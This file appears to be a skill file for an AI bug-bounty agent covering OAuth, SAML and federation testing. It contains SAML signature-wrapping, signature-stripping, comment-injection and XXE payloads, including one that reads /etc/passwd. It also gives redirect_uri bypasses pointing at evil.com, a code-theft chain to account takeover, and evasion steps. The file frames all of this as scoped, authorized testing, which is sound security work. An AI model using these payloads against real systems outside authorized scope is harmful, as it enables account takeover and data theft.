Hunt Federation Agent Skill

Hunt: OAuth / SAML / Federation

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "OAuth SAML federation redirect_uri bypass XSW signature stripping state CSRF" via wiki-search MCP

Hub: [[web-moc]] (live index). Primary page: [[oauth-attacks]]. Payload arsenal: wiki/payloads/oauth-saml.md.

Anchors: [[saml-attacks]].

Attack surface

Entry points:

/oauth/authorize  /oauth/token  /oauth/callback  /auth/callback
/saml/  /saml/acs  /sso/saml  /auth/saml/callback
/login?redirect_uri=  /signin?next=

Rank before testing - most federation payouts come from the top of this list:

• redirect_uri handling - highest yield. This is where the code/token is delivered; a permissive

match leaks it to an attacker origin and chains straight to ATO.

• Signature validation - is the assertion signature checked at all, and does it cover exactly what

the parser reads (stripping, comment injection live here).

• The XSW1-XSW8 matrix - signature covers a signed element, the SP trusts a wrapper assertion.

Automate the eight variants with SAML Raider.

• state / CSRF - a missing or client-only state on the OAuth callback enables login-CSRF and

attacker-to-victim account linking.

• OIDC metadata and client leakage - .well-known/openid-configuration, JS bundles, APK resources:

leaked client_secret, extra grant types, unadvertised endpoints.

SAML Attacks

Attack 1: XSW - Signature Wrapping

<!-- Original: legit assertion by [email protected] -->
<!-- Modified: inject evil assertion with [email protected] before the signed one -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>[email protected]</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>[email protected]</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Use SAMLRaider Burp extension for automated XSW1-XSW8 testing.

Attack 2: Signature Stripping

# 1. Decode
echo "BASE64_SAML" | base64 -d | xmllint --format - > saml.xml
# 2. Delete entire <Signature> element
# 3. Change NameID to [email protected]
# 4. Re-encode
base64 -w0 saml.xml
# 5. POST -- if server doesn't verify signature = Critical ATO

Attack 3: Comment Injection

<NameID>admin<!---->@company.com</NameID>
<!-- Signature covers "admin<!---->@company.com" but parser sees "[email protected]" -->

Attack 4: XXE in SAML Assertion

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion><NameID>&xxe;</NameID></saml:Assertion>

OAuth Attacks

redirect_uri Bypass (highest yield)

Try: redirect_uri=https://legit.com.evil.com
Try: redirect_uri=https://legit.com/callback/../../../evil
Try: redirect_uri=https://legit.com&redirect_uri=https://evil.com  (param pollution)
Try: encoded chars %2F %40 %23

State CSRF

• Remove state parameter entirely - does the flow complete?
• Is state validated server-side or only client-side?

Nonce Replay / Referrer Leak

• Check if on-page resources receive full Referer header containing the access token/code in URL
• Language switchers, analytics, social share buttons loaded post-auth are common culprits

Methodology

Setup: two accounts per hunt-core - a victim SSO identity and an attacker identity/client, in

separate browser profiles so SSO cookies never cross.

• Map all OAuth/SAML entry points
• Capture a valid SAMLResponse via Burp - decode Base64, inspect XML
• Test SAML: XSW (SAMLRaider), signature stripping, comment injection, XXE
• Test OAuth: redirect_uri variations, state removal, nonce replay
• Check .well-known/openid-configuration for OIDC surface
• Check client_secret in JS bundles or APK resources
• Verify impact: demonstrate ATO or privilege escalation on test account
• Distill when confirmed - a reusable XSW variant or redirect_uri bypass, GENERIC, no client host:

python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/oauth-attacks.md (SAML findings: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/saml-attacks.md).

Chaining and evasion

Chain: a permissive redirect_uri (host confusion, path traversal, param pollution, or the post-auth

Referer leak above) -> steal the authorization code -> exchange it at /oauth/token -> full ATO. A

trusted NameID / sub from a stripped or XSW assertion is itself an auth bypass; hand the resulting

session to hunt-auth for reset-poisoning and session follow-through.

Evasion when the direct attempt is rejected: cycle the remaining redirect_uri encodings

(%2F %40 %23, legit.com.evil.com, legit.com/../evil, double redirect_uri=) before calling it

validated; when XSW1/2 fail, walk XSW3-XSW8 with SAML Raider (each moves the wrapper relative to the

signed element and the Response-vs-Assertion boundary) before declaring signatures enforced.

Confirmation gate

NOT confirmation: a redirect that carries an authorization code or token in its URL; an IdP or SP

returning 200 on a modified SAMLResponse; the assertion "accepted"; the flow completing with state

removed; any error, even a revealing one. None of these prove you hold another account.

IS confirmation: a token or authenticated session for another account, obtained through the flaw -

an authorization code stolen via an attacker-controlled redirect_uri and exchanged for that account's

token, or a forged / XSW / signature-stripped assertion that logs you in as the victim (admin session

reached). Then exercise the session, and reproduce from scratch in a clean browser profile with no cached

SSO state (per hunt-core). If the session vanishes in a clean profile, you replayed your own login.

Severity

Rated on the session actually obtained, not on what the server merely accepted.

| Outcome | Typical |

|---|---|

| Forged / XSW / stripped assertion logs in as admin (SAML auth bypass) | critical - direct ATO |

| redirect_uri bypass yields a victim's code/token, exchanged to a session | critical / high - ATO |

| Login-CSRF via missing state (attacker session linked to a victim) | medium / high |

| Leaked client_secret / OIDC misconfig, no cross-account session obtained | low - enables other attacks |

Unauthenticated ATO outranks one needing victim interaction. An assertion the SP accepts that yields no

other-account session is not a finding - it is a Deadend.

Deadends

Append: - [ ] SAML/OAuth on <host> -- XSW1-8 + strip + comment rejected, signature covers NameID;
              redirect_uri strictly validated (no encoding/host/traversal/pollution bypass); state enforced

Record which variants you tried, not just that it failed - the next pass needs the boundary.